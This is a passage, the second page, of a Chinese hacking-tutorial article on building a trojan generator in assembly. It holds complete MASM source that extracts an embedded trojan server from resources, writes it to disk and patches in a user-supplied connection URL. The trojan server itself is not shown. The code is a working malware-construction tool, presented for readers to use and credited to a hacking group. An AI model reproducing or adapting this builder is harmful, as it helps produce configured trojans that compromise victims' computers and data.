安全中国首页 > 文章中心 > 黑客编程
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

汇编实现木马生成技术(图)

更新时间:2007-10-16 0:16:16
责任编辑:流火
热 点:

然后,我们了解win32API中,关于对资源查找的几个API是FindResource,SizeofResource,LoadResource, GlobalAlloc,LockResource..关于函数的参数定义,大家可以参考MSDN.首先调用FindResource查找你定义的资源 ID,这里我定义是 "ASM equ 1002",找到资源自然会返回一个句柄,接着SizeofResource获取资源的大小,为什么要获取,因为在后面WriteFile写文件的时候需要...然后LoadResource装载我们的资源.当然拉,我们还要给这个二进制的数据分配一个内存快,GlobalAlloc...最后, LockResource锁定资源,成功的话返回一个句柄,我们可以利用这个句柄,直接把二进制的服务端导出成了一个exe文件,然后在利用上面例子中客户端的代码,进行修改,就可以生成了...代码如下:
;******************************************************
;程序编写by Asm
;日期:2006-12-27日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;******************************************************
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib

MapViewFile PROTO :LPSTR ;函数声明

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN equ 1000h ;图标
DLG_MAIN equ 1
IDC_URL equ 1001
ASM equ 1002
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance dd ?
hWindws dd ?
hFile dd ?
pMapView dd ?
hMapView dd ?
.data
szUrl db 156 dup(0)
szText db '成功生成',0
szCaption db '恭喜',0
szFileName db 'asm.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;修改指定偏移地址处的数据子程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MapViewFile proc uses ebx esi edi,lpProcessAddress:LPSTR
mov edi,lpProcessAddress ;获取初始地址
add edi,000800h  ;获取字符串地址
invoke lstrcpy,edi,addr szUrl ;修改,等关闭句柄,系统自动保存
ret
MapViewFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Process proc
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,\ ;打开它
FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_EXISTING, \
FILE_ATTRIBUTE_NORMAL,NULL
.if eax!=INVALID_HANDLE_VALUE
mov hFile, eax ;保存句柄
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL ;建立内存共享
.if eax!=NULL
mov hMapView,eax ;保存句柄
invoke MapViewOfFile,hMapView,FILE_MAP_WRITE,0,0,NULL ;读取内存共享
.if eax!=NULL
mov pMapView,eax ;保存句柄
invoke MapViewFile,pMapView ;修改服务端内存里内容
.endif
invoke UnmapViewOfFile,pMapView ;解除文件映射
.endif
invoke CloseHandle,hMapView ;关闭内存映射文件
.endif
invoke CloseHandle,hFile ;关闭文件
ret
_Process endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
 LOCAL hRsrc,hResData,dwSize,dwSizeWritten,lpData,lpRes
 mov eax,wMsg
 .if eax == WM_CLOSE
 invoke EndDialog,hWnd,NULL
 .elseif eax == WM_INITDIALOG
 invoke LoadIcon,hInstance,ICO_MAIN
 invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
 .elseif eax == WM_COMMAND
 mov eax,wParam
 .if ax == IDOK
 invoke GetDlgItemText,hWnd,IDC_URL,addr szUrl,sizeof szUrl ;获得szUrl内容
 invoke FindResource,NULL,ASM,RT_RCDATA ;查找ASM资源
 mov hRsrc,eax
 invoke SizeofResource,NULL,hRsrc ; 获取资源长度
 mov dwSize,eax
 invoke LoadResource,NULL,hRsrc ;装载资源
 mov hResData,eax
 invoke GlobalAlloc,GPTR,dwSize ;给数据分配内存
 mov lpData,eax
 invoke LockResource,hResData ;锁定它
 mov lpRes,eax
 invoke CreateFile,offset szFileName,GENERIC_WRITE,FILE_SHARE_READ,\
 NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL ;打开文件
 .if eax != NULL
 mov hFile,eax
 invoke WriteFile,hFile,lpRes,dwSize,addr dwSizeWritten,NULL  ;把二进制写进去
 invoke CloseHandle,hRsrc
 invoke CloseHandle,hResData
 invoke CloseHandle,hFile
 invoke GlobalFree,lpData
 .endif
 call _Process ;开始配置
 invoke MessageBox,hWnd,offset szText,offset szCaption,MB_OK
 .endif
 .else
 mov eax,FALSE
 ret
 .endif
 mov eax,TRUE
 ret

_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
 invoke GetModuleHandle,NULL
 mov hInstance,eax
 invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
 invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 end start

测试如图:

上一页 1 2 

 
相关文章
一日一文章
 
一日一软件
一日一动画